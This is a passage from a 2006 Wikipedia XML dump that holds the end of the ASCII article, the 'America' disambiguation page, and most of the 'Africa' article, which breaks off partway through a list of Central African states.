*[http://www.jimprice.com/jim-asc.htm ASCII Chart, how to send documents &quot;in ASCII&quot;, etc]&lt;!-- i think this can stay at least for now it doesn't seem to contain misinformation about what ASCII is or extended ASCII though there is a small issue with its &quot;IBM PC Extended ASCII&quot; section (its only correct for English versions and sometimes not even for those) [[User:Plugwash|Plugwash]] 23:14, [[25 December]] [[2005]] (UTC)--&gt;
*[http://www.paulschou.com/tools/xlate/ Online Encoder/Decoder for ASCII, HEX, Binary, Base64, etc with MD2, MD4, MD5, SHA1+2, CRC, and other hashing algorithms] &lt;!-- note: this website originally started as a school project, I wanted to make something to help the other students in the class and I think it may really help others.  I intend to stand behind this work and if you find any error please don't hesitate to notify me of them. -user:paulschou --&gt;

[[Category:5-letter acronyms]]
[[Category:Character encoding]]
[[Category:Character sets]]
[[Category:Latin alphabet representations]]
[[als:ASCII]]
[[ar:ASCII]]
[[ast:ASCII]]
[[bg:ASCII]]
[[ca:ASCII]]
[[cs:ASCII]]
[[da:ASCII]]
[[de:ASCII]]
[[el:ASCII]]
[[eo:Askio]]
[[es:ASCII]]
[[fi:ASCII]]
[[fr:American Standard Code for Information Interchange]]
[[gl:ASCII]]
[[he:ASCII]]
[[hu:ASCII]]
[[ia:ASCII]]
[[id:ASCII]]
[[it:ASCII]]
[[ja:American Standard Code for Information Interchange]]
[[ko:ASCII]]
[[ku:ASCII]]
[[lv:ASCII]]
[[ms:ASCII]]
[[nl:ASCII (tekenset)]]
[[nn:ASCII]]
[[no:ASCII]]
[[pl:ASCII]]
[[pt:ASCII]]
[[ro:ASCII]]
[[ru:ASCII]]
[[sk:ASCII]]
[[sl:ASCII]]
[[sq:ASCII]]
[[sr:ASCII]]
[[sv:ASCII]]
[[th:ASCII]]
[[tr:ASCII]]
[[uk:ASCII]]
[[vi:ASCII]]
[[zh:ASCII]]
[[zh-min-nan:ASCII]]</text>
    </revision>
  </page>
  <page>
    <title>America</title>
    <id>587</id>
    <revision>
      <id>42091980</id>
      <timestamp>2006-03-03T19:50:49Z</timestamp>
      <contributor>
        <username>Acjelen</username>
        <id>107326</id>
      </contributor>
      <comment>revert confused vandalism</comment>
      <text xml:space="preserve">'''America''' is usually meant as either:

* The [[Americas]], the lands between the Atlantic and Pacific Oceans, usually subdivided into:
**[[North America]]
**[[South America]]

* The [[United States]] of America 

''See also: [[Americas (terminology)]], [[United_States#endnote_America|Use of the word America]], and [[Use of the word American|Use of the word American]]''

----

America is also:
* [[America, Netherlands]] in Limburg
* America, a part of the parish of [[Sutton-in-the-Isle]] in Cambridgeshire, England

America is the title or name of:&lt;br/&gt;

''Entertainment:''
* [[América (Perales song)|&quot;América&quot;]], a song by Spanish singer and composer [[José Luis Perales]]
* [[America (Paul Simon song)|&quot;America&quot;]], a song by Simon and Garfunkel
* [[America (Prince song)|&quot;America&quot;]], a song by Prince
* [[America (Neil Diamond song)|&quot;America&quot;]], a song by [[Neil Diamond]]
* [[America (band)]], a rock and roll band
** ''[[America (album)|America]]'', the title of their debut album
* ''[[America (Havalina album)|America]]'', an album by the band Havalina
* ''[[America (movie)|America]]'', a 1924 film directed by [[D.W. Griffith]]
* ''[[America (The Book)]]'', a book written by the staff of ''The Daily Show with Jon Stewart''
* ''[[America (book)|America]]'', a book by [[Jean Baudrillard]] examining the nation sociologically
* &quot;America&quot;, a song from [[West Side Story]] by Leonard Bernstein, also performed by the UK rock group The Nice
* [[America (XM)]], [[XM Satellite Radio]] channel 10
*''[[América (soap opera)|América]]'', a Brazilian telenovela (soap opera).
* [[America (television station)]], an [[Argentina|Argentinian]] television station
* ''[[America (magazine)|America]]'', a weekly Roman Catholic magazine 

''Sports:''
* [[Club America]], Mexican football (soccer) team
*[[América de Cali]], a Colombian football (soccer) team
* ''[[America (yacht)|America]]'', a racing yacht that won the first ever America's Cup in 1851

''Transportation:''
* ''[[America (airplane)|America]]'', a multi-engine airplane used by Richard E. Byrd and his crew on a 1927 transatlantic flight
* ''[[America (commercial ship)|America]]'', a passenger liner commanded by [[George Fried]] involved in a famous sea rescue in 1929
* [[USS America|USS ''America'']], the name of three United States Navy ships
* ''[[SS America (1940)|SS America]]'', a passenger liner owned by the United States Lines.

America is an alternative title for:
* [[My Country, 'Tis of Thee|&quot;My Country, 'Tis of Thee&quot;]], a patriotic song of the United States
* [[Our America]], an essay by [[Jose Marti]]

==See also==
*[[Amerika (disambiguation)]]
*[[Americas#Naming of America|Naming of America]]


{{disambig}}

&lt;!-- interwiki --&gt;

[[cy:America]]
[[de:Amerika]]
[[fr:America]]
[[hr:Amerika]]
[[nl:Amerika]]
[[ja:アメリカ (曖昧さ回避)]]
[[no:Amerika (andre betydninger)]]
[[pt:América (desambiguação)]]
[[sq:America]]
[[sr:Америка]]
[[fi:Amerikka]]
[[tr:Amerika]]</text>
    </revision>
  </page>
  <page>
    <title>Africa</title>
    <id>588</id>
    <revision>
      <id>42098769</id>
      <timestamp>2006-03-03T20:46:07Z</timestamp>
      <contributor>
        <username>BanyanTree</username>
        <id>137674</id>
      </contributor>
      <minor />
      <comment>rv back to Ashmoo</comment>
      <text xml:space="preserve">{{otheruses}}
{{portal}}
[[Image:Africa satellite orthographic.jpg|thumb|280px|A satellite composite image of Africa]] 

'''Africa''' is the world's second-largest and second most populous [[continent]], after [[Asia]].  At about 30,370,000 [[square kilometre|km&amp;sup2;]] (11,730,000 [[square mile|sq mi]]) including its adjacent islands, it covers 5.9% of the [[Earth]]'s total surface area, and 20.3% of the total land area. With over 840,000,000 people (as of 2005) in 61 territories, it accounts for more than 12% of the world's [[human population]].

==Etymology==
[[Image:LocationAfrica.png|thumb|250px|World map showing Africa (geographically)]]
The name '''Africa''' came into Western use through the [[Ancient Rome|Romans]], who used the name ''Africa terra'' — &quot;land of the Afri&quot; (plural, or &quot;Afer&quot; singular) — for the northern part of the continent, as the [[Africa (province)|province of Africa]] with its capital [[Carthage]], corresponding to modern-day [[Tunisia]].

The Afri were a tribe — possibly [[Berber]] — who dwelt in [[North Africa]] in the Carthage area.  The origin of ''Afer'' may be connected with [[Phoenician languages|Phoenician]] ''`afar'', [[dust]] (also found in most other [[Semitic languages]]); some other etymologies that have been postulated for the ancient name 'Africa' that are much more debatable include:

:*the [[Latin]] word ''aprica'', meaning &quot;sunny&quot;; 

:*the [[Greek language|Greek]] word ''aphrike'', meaning &quot;without cold&quot; (see also [[List of traditional Greek place names]]). The historian [[Leo Africanus]] ([[1495]]-[[1554]]) attributed the origin to the Greek word ''phrike'' (φρίκη, meaning &quot;cold and horror&quot;), combined with the negating prefix a-, so meaning a land free of cold and horror. However, the change of sound from ''ph'' to ''f'' in Greek is datable to about the [[first century]], so this is unlikely to be the origin.

Ancient Africa extended into what is now known as Asia.  There was no line drawn between the two continents until the geographer [[Ptolemy]] ([[85]] - [[165]] AD), accepted [[Alexandria]] as [[Prime Meridian]] and made the [[Suez Canal|isthmus of Suez]] and the [[Red Sea]] the boundary between [[Asia]] and Africa. As [[Europe]]ans came to understand the real extent of the continent, the idea of ''Africa'' expanded with their knowledge.

==Geography==
''Main article: [[Geography of Africa]]''

[[Image:The Earth seen from Apollo 17.jpg|thumb|250px|Africa in the [[Blue marble]] picture, with [[Antarctica]] to the south, and the [[Sahara]] and [[Arabian peninsula]] at the top of the globe]]

Africa is the largest of the three great southward projections from the main mass of the Earth's surface. It includes within its remarkably regular outline an area, of c. 30,360,288 [[square kilometre|km&amp;sup2;]] (11,722,173 [[square mile|mi&amp;sup2;]]), including the islands.

Separated from [[Europe]] by the [[Mediterranean Sea]], it is joined to Asia at its northeast extremity by the [[Suez Canal|Isthmus of Suez]] (transected by the Suez Canal), 130 km (80 miles) wide. ([[Geopolitical]]ly, [[Egypt]]'s [[Sinai Peninsula]] east of the Suez Canal is often considered part of Africa, as well.) From the most northerly point,  [[Cape Blanc]] (Ra’s al Abyad) in [[Tunisia]] (37&amp;deg;21&amp;prime; N), to the most southerly point, [[Cape Agulhas]] in [[South Africa]] (34&amp;deg;51&amp;prime;15&amp;Prime; S), is a distance approximately of 8,000 km (5,000 miles); from [[Cap-Vert|Cape Verde]], 17&amp;deg;33&amp;prime;22&amp;Prime; W, the westernmost point, to [[Ras Hafun]] in [[Somalia]], 51&amp;deg;27&amp;prime;52&amp;Prime; E, the most easterly projection, is a distance (also approximately) of 7,400 km (4,600 miles). The length of coast-line is 26,000 km (16,100 miles) and the absence of deep indentations of the shore is shown by the fact that Europe, which covers only [[1 E12 m²|9,700,000 km&amp;sup2;]] (3,760,000 square miles), has a coast-line of 32,000 km (19,800 miles).

The main structural lines of the continent show both the east-to-west direction characteristic, at least in the eastern hemisphere, of the more northern parts of the world, and the north-to-south direction seen in the southern peninsulas. Africa is thus composed of two segments at right angles, the northern running from east to west, the southern from north to south, the subordinate lines corresponding in the main to these two directions.

==History==
''Main article: [[History of Africa]]''
[[Image:Afryka 1890.jpg|right|thumb|250px|Map of Africa 1890]]

Africa is home to the [[cradle of Humankind|oldest inhabited territory]] on earth, with the [[human]] race [[mitochondrial Eve|originating]] from this continent. During the mid 20th century, [[Anthropology|anthropologists]] discovered many [[fossil]]s and evidence of human occupation perhaps as early as 7 million years ago. Fossil remains of several species of early ape-like humans thought to have [[evolve]]d into modern day man, such as ''[[Australopithecus afarensis]]'' ([[radiometrically dated]] to 3.9-3.0 million years [[Before_Christ|BC]]), ''[[Paranthropus boisei]]'' (2.3-1.4 million BC) and ''[[Homo ergaster]]'' (c. 600,000-1.9 million BC) has been discovered.

The [[Ishango Bone]], dated to c. 25,000 years ago, shows [[tally stick|tallies]] in [[mathematical notation]]. Throughout humanity's [[prehistory]], Africa (like all other continents) had no [[nation state]]s, and was instead inhabited by groups of [[hunter-gatherers]] such as the [[Khoi]] and [[San]] (formerly known as [[bushmen]]).
 
Around 3300 BC, the historical record opens in Africa with the rise of literacy in [[Egypt]], which continued with varying levels of influence over other areas until 343 BC. Other prominent [[civilization]]s include [[Ethiopia]], the [[Nubia]]n kingdom, [[Carthage]], the kingdoms of the [[Sahelian kingdom|Sahel]] ([[Ghana Empire|Ghana]], [[Mali Empire|Mali]], and [[Songhai empire|Songhai]]) and [[Great Zimbabwe]].

In 1482, the [[Portugal|Portuguese]] established the first of many trading stations along the Guinea coast at [[Elmina]]. The chief commodities dealt in were slaves, gold, ivory and spices. The European discovery of America in 1492 was followed by a great development of the [[slave trade]], which, before the Portuguese era, had been an overland trade almost exclusively, and never confined to any one continent.

But at the same time that slavery was ending in Europe, in the early 19th century the European [[Imperialism|imperial]] powers staged a massive &quot;[[scramble for Africa]]&quot; and occupied most of the continent, creating many [[colony|colonial]] nation states, and leaving only two independent nations: [[Liberia]], the Black American colony, and [[Ethiopia]]. This occupation continued until after the conclusion of the [[World War II|Second World War]], when all colonial states gradually obtained formal independence.

Today, Africa is home to over 50 independent countries, all but 2 of which still have the [[border]]s drawn up during the era of European [[colonialism]].

==Politics==
[[Image:ColonialAfrica.png|frame|''Map showing European claimants to the African continent at the beginning of [[World War I]]'']]
===Precolonial Africa===
{{sect-stub}}
===Colonial Africa===
[[Colonialism]] had a destabilizing effect on what had been a number of ethnic groups that is still being felt in African politics. Prior to European influence, national borders were not much of a concern, with Africans generally following the practice of other areas of the world, such as the Arabian peninsula, where a group's territory was congruent with its military or trade influence. The European insistence of drawing borders around territories to isolate them from those of other colonial powers often had the effect of separating otherwise contiguous political groups, or forcing traditional enemies to live side by side with no buffer between them. For example, the [[Congo River]], although it appears to be a natural geographic boundary, had groups that otherwise shared a [[language]], [[culture]] or other similarity who resided on both sides. The division of the land between [[Belgium]] and [[France]] along the river isolated these groups from each other. Those who lived in Saharan or [[Sub-Saharan Africa]] and traded across the continent for centuries often found themselves crossing &quot;borders&quot; that existed only on European maps.

In nations that had substantial European populations, for example [[Rhodesia]] and [[South Africa]], systems of second-class citizenship were often set up in order to give Europeans [[political power]] far in excess of their numbers. However, the lines were not often drawn strictly across racial lines. In [[Liberia]], the citizens who were descendants of American slaves managed to have a political system for over 100 years that gave ex-slaves and natives to the area roughly equal [[legislative power]] despite the fact the ex-slaves were outnumbered ten to one in the general population. The inspiration for this system was the [[United States Senate]], which had balanced the power of free and slave states despite the much larger population of the former.

Europeans often changed the balance of power, created ethnic divides where they did not previously exist, and introduced a cultural dichotomy detrimental to the native inhabitants in the areas they controlled. For example, in what is now [[Rwanda]] and [[Burundi]], two ethnic groups [[Hutus]] and [[Tutsis]] had merged into one culture by the time Belgian colonists had taken control of the region in the 19th century. No longer divided by ethnicity as intermingling, inter-marriage, and merging of cultural practices over the centuries had long since erased visible signs of a culture divide, the Belgians instituted a policy of racial categorization, upon taking control of the region, as racial based categorization and philosophies was a fixture of the European culture of that time. The term [[Hutu]] originally referred to the agricultural-based Bantu speaking tribes that moved into present day Rwandan and Burundi from the West, and the term [[Tutsi]] referred to North Eastern cattle-based tribes that migrated into the region later. The terms to the indigenous peoples eventually came to describe a person's economic class. Those individuals who owned roughly 10 or more cattle were considered Tutsi, and those with fewer were considered Hutu, regardless of ancestral history. This was not a strict line but a general rule of thumb, and one could move from Hutu to Tutsi and vice versa.

The Belgians introduced a racialised system. Those individuals who had characteristics the Europeans admired - fairer skin, ample height, narrow noses, etc. - were given power amongst the colonized peoples. The Belgians determined these features were more ideally [[Hamitic]], Hamitic in turn being more ideally European and belonged to those people closest to Tutsi in ancestry. They instituted a policy of issuing identity cards based on this philosophy. Those closest to this ideal were proclaimed Tutsi and those not were proclaimed Hutu.

===Post-colonial Africa===
Since independence, African states have frequently been hampered by instability, corruption, violence, and [[authoritarianism]]. The vast majority of African nations are [[republic]]s that operate under some form of the [[presidential system]] of rule. Few nations in Africa have been able to sustain [[Democracy|democratic]] governments, instead cycling through a series of brutal [[Coup d'état|coup]]s and [[military dictatorship]]s.

A number of Africa's post-colonial political leaders were poorly educated and ignorant on matters of governance; great instability, however, was mainly the result of marginalization of other ethnic groups and graft under these leaders. 

As well, many used the positions of power to ignite ethnic conflicts that had been exacerbated, or even created, under colonial rule. In many countries, the [[Armed force|military]] was perceived as being the only group that could effectively maintain order and ruled most nations in Africa during the [[1970s|70s]] and early [[1980s|80s]].

During the period from the early [[1960s]] to the late 1980s Africa had over 70 coups and 13 presidential [[assassination]]s.

[[Cold War]] conflicts between the [[United States]] and the [[Soviet Union]] also played a role in the instability. When a country became independent for the first time, it was often expected to align with one of the two [[superpower]]s. Many countries in [[Northern Africa]] received Soviet military aid, while many in Central and Southern Africa were supported by the [[United States]] and/or [[France]]. The 1970s saw an escalation as newly independent [[Angola]] and [[Mozambique]] aligned themselves with the [[Soviet Union]] and the West and [[South Africa]] sought to contain Soviet influence.

Border and territorial disputes have also been common, with the European-imposed borders of many nations being widely contested through armed conflicts. 

Failed government policies and political corruption have also resulted in many widespread [[famine]]s, and significant portions of Africa remain with distribution systems unable to disseminate enough food or water for the population to survive. The spread of [[disease]] is also rampant, especially the spread of the [[Human Immunodeficiency Virus]] (HIV) and the associated [[Acquired Immune Deficiency Syndrome]] (AIDS), which has become a deadly [[epidemic]] on the continent.

Despite numerous hardships, there have been some signs the continent has hope for the future. [[Democracy|Democratic government]]s seem to be spreading, though are not yet the majority (National Geographic claims 13 African nations can be considered truly democratic). As well, many nations have at least nominally recognized basic [[human right]]s for all [[citizen]]s, though in practice these are not always recognized, and have created reasonably independent [[judiciary|judiciaries]].

There are clear signs of increased networking among African organisations and states. In the civil war in the [[Democratic Republic of Congo]] (former [[Zaire]]), rather than rich, non-African countries intervening, about half-a-dozen neighbouring African countries got involved (see also [[Second Congo War]]). The death toll has been estimated by some to be 3.5 million since the conflict began in 1998. This might play a role similar to that of [[World War II]] for Europe, after which the people in the neighbouring countries decide to integrate their societies in such a way that war between them becomes as unthinkable as a war between, say, [[France]] and [[Germany]] would be today.

Political associations such as the [[African Union]] are also offering hope for greater co-operation and peace between the continent's many countries.

Extensive human rights abuses still occur in several parts of Africa, often under the oversight of the state. Most of such violations occur for political reasons, often times as a 'side-effect' of civil war. Countries where major human rights violations have been reported in recent times include the [[Democratic Republic of the Congo]], [[Sierra Leone]], [[Liberia]], [[Sudan]], and [[Côte d'Ivoire]].

===Modern Africa===
Most western countries place limitations on aid to African nations, especially the United States. These limitations are often used to control the governments of these African nations; as a result, these nations are turning to non-traditional sources of financial aid. [[China]] has increasingly provided financial aid to Africa in order to secure contracts on [[Natural resource|natural resources]], such as [[petroleum|oil]], [[gold]], and [[diamonds]]. There usually is no political prescription. Countries the Chinese are investing in include:
Central African Republic (plantations), Nigeria ([[petroleum|oil]] &amp; [[gas]]), Sierra Leone ([[tourism]]), Gabon ([[petroleum|oil]]), Congo-Brazzaville ([[petroleum|oil]] &amp; wood-industry), Congo ([[copper]] &amp; [[cobalt]]), Angola ([[railroad]]-system), Libya ([[petroleum|oil]]), Sudan ([[petroleum|oil]]), Uganda ([[coffee]] &amp; [[fishing]]-industry), Kenya ([[Telecommunication|communications]]-network), Rwanda (public works), Burundi ([[Nickel]]), Zimbabwe (infrastructure), South Africa ([[coal]] &amp; [[gold]]).

==Economy==
''Main article: [[Economy of Africa]]''

Africa is the world's poorest inhabited continent: the [[United Nation]]s' [http://hdr.undp.org/ Human Development Report] [[2003]] (of 175 countries) found that positions 151 ([[Gambia]]) to 175 ([[Sierra Leone]]) were taken up entirely by African nations.

It has had (and in some ways is still having) a shaky and uncertain transition from [[colonialism]], with increases in [[political corruption|corruption]] and [[despotism]] being major contributing factors to its poor economic situation. While rapid growth in [[China]] and now [[India]], and moderate growth in [[Latin America]], has lifted millions beyond subsistence living, Africa has gone backwards in terms of foreign [[trade]], [[investment]], and [[per capita]] [[income]]. This [[poverty]] has widespread effects, including lower [[life expectancy]], [[violence]], and [[instability]] - factors intertwined with the continent's poverty. 

Major economic successes are [[Botswana]] and [[South Africa]], which is developed to the extent that it has its own mature [[Johannesburg Stock Exchange|stock exchange]]. This is partly due to its wealth of [[natural resource]]s, being the world's leading producer of both [[gold]] and [[diamond]]s, and partly due to its well-established legal system. South Africa also has access to financial capital, numerous markets and skilled labor. Other African countries are making comparable progress, such as [[Ghana]], and some, like Egypt, have a longer history of commercial and economic success.

[[Nigeria]] sits on one of the largest proven oil reserves in the world and has the highest population among nations in Africa, with one of the fastest-growing economies in the world. It is believed that with the country's rapidly expanding economy and increasing actions against corruption, Nigeria's status as Africa's economic powerhouse will soon be firmly established.

==Demographics==
Africans may be grouped according to whether they live north or south of the [[Sahara Desert]]; these groups are called [[North African]]s and [[Sub-Saharan Africa]]ns, respectively. [[Afro-Asiatic]] speaking peoples predominate in North Africa, while Sub-Saharan Africa is dominated by a number of populations grouped according to their language --[[Niger-Congo]] predominantly in West Africa, [[Nilo-Saharan]] in the Eastern highlands and [[Khoisan]] in the south.

Speakers of [[Bantu languages]] (part of the Niger-Congo family) are the majority in southern, central and east Africa proper; but there are also several Nilotic groups in East Africa, and a few remaining [[Indigenous peoples of Africa|indigenous]] Khoisan ('[[San]]' or '[[Bushmen]]') and Pygmy peoples in southern and central Africa, respectively. Bantu-speaking Africans also predominate in Gabon and Equatorial Guinea, and are found in parts of southern Cameroon and southern Somalia. In the [[Kalahari Desert]] of Southern Africa, the distinct people known as the Bushmen (also &quot;San&quot;, closely related to, but distinct from &quot;[[Khoikhoi|Hottentots]]&quot;) have long been present. The San are physically distinct from other Africans and are the indigenous people of southern Africa. [[Pygmies]] are the pre-Bantu indigenous peoples of central Africa.

The peoples of [[North Africa]] comprise two main groups; [[Berber]] and [[Arabic]]-speaking peoples in the west, and [[Demographics_of_Egypt#People|Egyptians]] in the east. The Arabs who arrived in the 7th century introduced the [[Arabic language]] and [[Islam]] to North Africa. The Semitic [[Phoenicia]]ns, and the European [[Ancient Greece|Greeks]] and [[Ancient Rome|Romans]] settled in North Africa as well. Berbers still make up the majority in [[Morocco]], while they are a significant minority within [[Algeria]]. They are also present in [[Tunisia]] and [[Libya]]. The [[Tuareg]] and other often-nomadic peoples are the principal inhabitants of the Saharan interior of North Africa. [[Nubians]] are a [[Nilo-Saharan]]-speaking group (though many also speak Arabic), who developed an ancient civilization in Northeast Africa.

During the past century or so, small but economically important colonies of [[Demographics_of_Lebanon#The_Lebanese_Diaspora|Lebanese]] and [[Overseas Chinese|Chinese]] have also developed in the larger coastal cities of [[West Africa|West]] and [[East Africa]], respectively.

Some [[Ethiopia]]n and Eritrean groups (like the [[Amhara]] and [[Tigray]]ans, collectively known as &quot;[[Habesha]]&quot;) have [[Semitic]] (Sabaean) ancestry. The Somalis as a people originated in the [[Ethiopian Highlands]], but most Somali clans can trace some Arab ancestry as well. [[Sudan]] and [[Mauritania]] are divided between a mostly Arabized north and a native African south (although the &quot;Arabs&quot; of Sudan clearly have a predominantly native African ancestry themselves). Some areas of East Africa, particularly the island of [[Zanzibar]] and the Kenyan island of Lamu, received Arab Muslim and [[Southwest Asia]]n settlers and merchants throughout the [[Middle Ages]] and in antiquity.

Beginning in the [[16th century]], Europeans such as the [[Portugal|Portuguese]] and [[The Netherlands|Dutch]] began to establish [[trading post]]s and [[Fortification|forts]] along the coasts of western and southern Africa. Eventually, a large number of Dutch, augmented by French [[Huguenots]] and [[German people|Germans]] settled in what is today [[South Africa]]. Their descendants, the [[Afrikaners]] and the [[Coloureds]], are the largest European-descended groups in Africa today. In the [[19th century]], a second phase of colonization brought a large number of French and [[United Kingdom of Great Britain and Ireland|British]] settlers to Africa. The Portuguese settled mainly in Angola, but also in Mozambique. The French settled in large numbers in [[Algeria]] where they became known collectively as ''[[Pied-noir|pieds-noirs]]'', and on a smaller scale in other areas of North and West Africa as well as in Madagascar. The British settled chiefly in South Africa as well as the colony of [[Rhodesia]], and in the highlands of what is now [[Kenya]]. Germans settled in what is now [[Tanzania]] and [[Namibia]], and there is still a population of German-speaking white Namibians. Smaller numbers of European soldiers, businessmen, and officials also established themselves in administrative centers such as [[Nairobi]] and [[Dakar]]. Decolonization during the 1960s often resulted in the mass emigration of European-descended settlers out of Africa &amp;mdash; especially from Algeria, Angola, Kenya and Rhodesia (now [[Zimbabwe]]). However, in South Africa and Namibia, the white minority remained politically dominant after independence from Europe, and a significant population of white Africans remained in these two countries even after [[liberal democracy|democracy]] was finally instituted at the end of the [[Cold War]]. South Africa has also become the preferred destination of white Anglo-Zimbabweans, and of migrants from all over southern Africa.

European colonization also brought sizeable groups of [[Asians]], particularly people from the [[Indian subcontinent]], to British colonies. Large [[Indian diaspora|Indian communities]] are found in South Africa, and smaller ones are present in Kenya, Tanzania, and some other southern and east African countries. A fairly large Indian community in [[Uganda]] was expelled by the dictator [[Idi Amin]] in 1972, though many have since returned. The islands in the [[Indian Ocean]] are also populated primarily by people of Asian origin, often mixed with Africans and Europeans. The [[Malagasy]] people of [[Madagascar]] are a [[Malay people]], but those along the coast are generally mixed with Bantu, Arab, Indian and European origins. Malay and Indian ancestries are also important components in the group of people known in South Africa as [[Coloureds]] (people with origins in two or more races and continents).

==Languages==
[[Image:African language families.png|right|300px|thumb|Map showing the distribution of African language families and some major African languages. [[Afro-Asiatic languages|Afro-Asiatic]] extends from the [[Sahel]] to [[Southwest Asia]]. [[Niger-Congo languages|Niger-Congo]] is divided to show the size of the [[Bantu languages|Bantu sub-family]].]]

''Main article: [[African languages]]''

By most estimates Africa contains well over a thousand [[language]]s. There are four major [[language family|language families]] native to Africa.

* The [[Afro-Asiatic languages|''Afro-Asiatic'']] languages are a language family of about 240 languages and 285 million people widespread throughout North Africa, [[East Africa]], the Sahel, and [[Southwest Asia]].
* The [[Nilo-Saharan languages|''Nilo-Saharan'']] language family consists of more than a hundred languages spoken by 30 million people. Nilo-Saharan languages are mainly spoken in [[Chad]], [[Sudan]], [[Ethiopia]], [[Uganda]], [[Kenya]], and northern [[Tanzania]].
* The [[Niger-Congo languages|''Niger-Congo'']] language family covers much of Sub-Saharan Africa and is probably the largest language family in the world in terms of different languages. A substantial number of them are the [[Bantu languages|Bantu]] languages spoken in much of sub-Saharan Africa. 
* The [[Khoisan languages|''Khoisan'']] languages number about 50 and are spoken in Southern Africa by approximately 120 000 people. Many of the Khoisan languages are [[endangered language|endangered]]. The [[Khoikhoi|Khoi]] and [[Bushmen|San]] peoples are considered the original inhabitants of this part of Africa. 

With a few notable exceptions in [[East Africa]], nearly all African countries have adopted [[official language]]s that originated outside the continent and spread through [[colonialism]] or [[human migration]]. For example, in numerous countries [[English language|English]] and [[French language|French]] are used for communication in the public sphere such as government, commerce, education and the media. [[Arabic language|Arabic]], [[Portuguese language|Portuguese]], [[Afrikaans]] and [[Malagasy]] are other examples of originally non-African languages that are used by millions of Africans today, both in the public and private spheres.

==Culture==
Africa has a number of overlapping cultures. The most conventional distinction is that between sub-Saharan Africa and the northern countries from [[Egypt]] to [[Morocco]], who largely associate themselves with [[Arab]]ic culture. In this comparison, the nations to the south of the [[Sahara]] are considered to consist of many cultural areas, in particular that of the [[Bantu languages|Bantu]] linguistic group.

Divisions may also be made between [[Francophone Africa]] and the rest of Africa, in particular the former British colonies of [[southern Africa|southern]] and [[East Africa]]. Another cultural fault-line is that between those Africans living traditional lifestyles and those who are essentially modern. The traditionalists are sometimes subdivided into [[pastoralism|pastoralists]] and [[agriculture|agriculturalists]].

[[African art]] reflects the diversity of African cultures. The oldest existing art from Africa are 6000-year old carvings found in [[Niger]], while the [[Great Pyramid of Giza]] in [[Egypt]] was the world's tallest architectural accomplishment for four thousand years until the creation of the [[Eiffel Tower]]. The Ethiopian complex of [[monolithic church]]es at [[Lalibela]], of which the [[Church of St. George]] is representative, is regarded as another marvel of engineering.

The [[music of Africa]] is one of its most dynamic art forms. Egypt has long been a cultural focus of the Arab world, while remembrance of the rhythms of sub-Saharan Africa, in particular west Africa, was transmitted through the [[Atlantic slave trade]] to modern [[blues]], [[jazz]], [[reggae]], [[rap music|rap]], and [[rock and roll]]. Modern music of the continent includes the highly complex choral singing of southern Africa and the dance rhythms of [[soukous]], dominated by the [[music of the Democratic Republic of Congo]]. A recent development of the 21st century is the emergence of [[African hip hop]], in particular a form from [[Senegal]] is blended with traditional [[mbalax]]. Recently in South Africa, a form of music related to [[house music]] known under the name [[Kwaito]] has developed, although the country has been home to its own form of [[South African jazz]] for some time, while [[Afrikaans]] music is completely distinct and comprised mostly of traditional [[Boere musiek]], and forms of [[Folk music|Folk]] and [[Rock and roll|Rock]].

* [[List of African musicians]]
* [[List of African writers]]
* [[African Cinema]]
* [[Afrology]]

==Religion==
Africans profess a wide variety of religious beliefs, with [[Christianity]] and [[Islam]] being the most widespread. Approximately 40% of all Africans are Christians and another 40% Muslims. Roughly 20% of Africans primarily follow indigenous [[African religions]]. A small number of Africans also have beliefs [[African Jew|from the Judaic tradition]], such as the [[Beta Israel]] and [[Lemba]] tribes.

The indigenous African religions tend to revolve around [[animism]] and [[ancestor worship]]. A common thread in traditional belief systems was the division of the [[spiritual world]] into &quot;helpful&quot; and &quot;harmful&quot;. Helpful [[Spiritual being|spirits]] are usually deemed to include ancestor spirits that help their descendants, and powerful spirits that protected entire communities from natural disaster or attacks from enemies; whereas harmful spirits include the [[soul]]s of murdered victims who were buried without the proper [[Funeral|funeral rites]], and spirits used by hostile spirit [[Medium (spirituality)|mediums]] to cause illness among their enemies. While the effect of these early forms of worship continues to have a profound influence, belief systems have evolved as they interact with other religions.

The formation of the [[Old Kingdom]] of [[Egypt]] in the [[third millennium BCE]] marked the first known complex religious system on the continent. Around the [[ninth century BCE]], [[Carthage]] (in present-day [[Tunisia]]) was founded by the Phoenicians, and went on to become a major cosmopolitan center where [[deity|deities]] from neighboring Egypt, [[Ancient Rome|Rome]] and the [[Etruscan civilization|Etruscan city-states]] were worshipped.

The [[Ethiopian Orthodox Church]] officially dates from the [[fourth century]], and is thus one of the first established [[Christianity|Christian]] churches anywhere. At first Christian Orthodoxy made gains in modern-day Sudan and other neighbouring regions; however following the spread of Islam, growth was slow and restricted to the highlands.

Islam entered Africa as Muslims conquered North Africa between 640 and 710, beginning with Egypt. They established Mogadishu, Melinde, Mombasa, Kilwa, and Sofala, following the sea trade down the coast of [[East Africa]], and diffusing through the Sahara desert into the interior of Africa -- following in particular the paths of Muslim traders. Muslims were also among the Asian peoples who later settled in British-ruled Africa.

Many Africans were converted to [[Western Christianity|West European forms of Christianity]] during the colonial period. In the last decades of the twentieth century, various sects of [[charismatic movement|Charismatic Christianity]] rapidly grew. A number of Roman Catholic African bishops were even mentioned as possible [[Pope|papal]] candidates in 2005. African Christians appear to be more socially conservative than their co-religionists in much of the industrialized world, which has quite recently led to tensions within [[Religious denomination|denominations]] such as the [[Anglican Church|Anglican]] and [[Methodism|Methodist Churches]].

==Territories==
[[Image:Africa-regions.png|thumb|300px|Regions of Africa. Blue: North Africa, green: West Africa, brown: Central Africa, orange: Horn of Africa, magenta: East Africa, red: Southern Africa.]]
[[Image:AfricaCIA-HiRes.jpg|thumb|300px|Political Map of Africa]]
[[Image:topography_of_africa.jpg|thumb|310px|Physical map of Africa]]
===Independent states===
'''[[East Africa]]'''

East Africa proper
* [[Burundi]] (also sometimes considered part of Central Africa)
* [[Kenya]]
&lt;!--* [[Mozambique]] (usually considered part of Southern Africa)--&gt;
* [[Rwanda]] (also sometimes considered part of Central Africa)
* [[Tanzania]]
* [[Uganda]]

[[North East Africa]] ([[Horn of Africa]])
* [[Djibouti]]
* [[Eritrea]]
* [[Ethiopia]]
* [[Somalia]] (including [[Somaliland]])

'''[[Central Africa]]'''
&lt;!--* [[Angola]] (usually considered part of Southern Africa)--&gt;
* [[Burundi]] (also sometimes considered part of East Africa)
&lt;!--* [[Cameroon]] (usually considered part of West Africa)--&gt;
* [[Central African Republic]]
* [[Chad]] (also sometimes considered part of West Africa)
* [[Democratic Republic of the Congo]]
* [[Equatorial Guinea]] (also sometimes considered part of West Africa)
* [[Gabon]] (also sometimes considered part of West Africa)
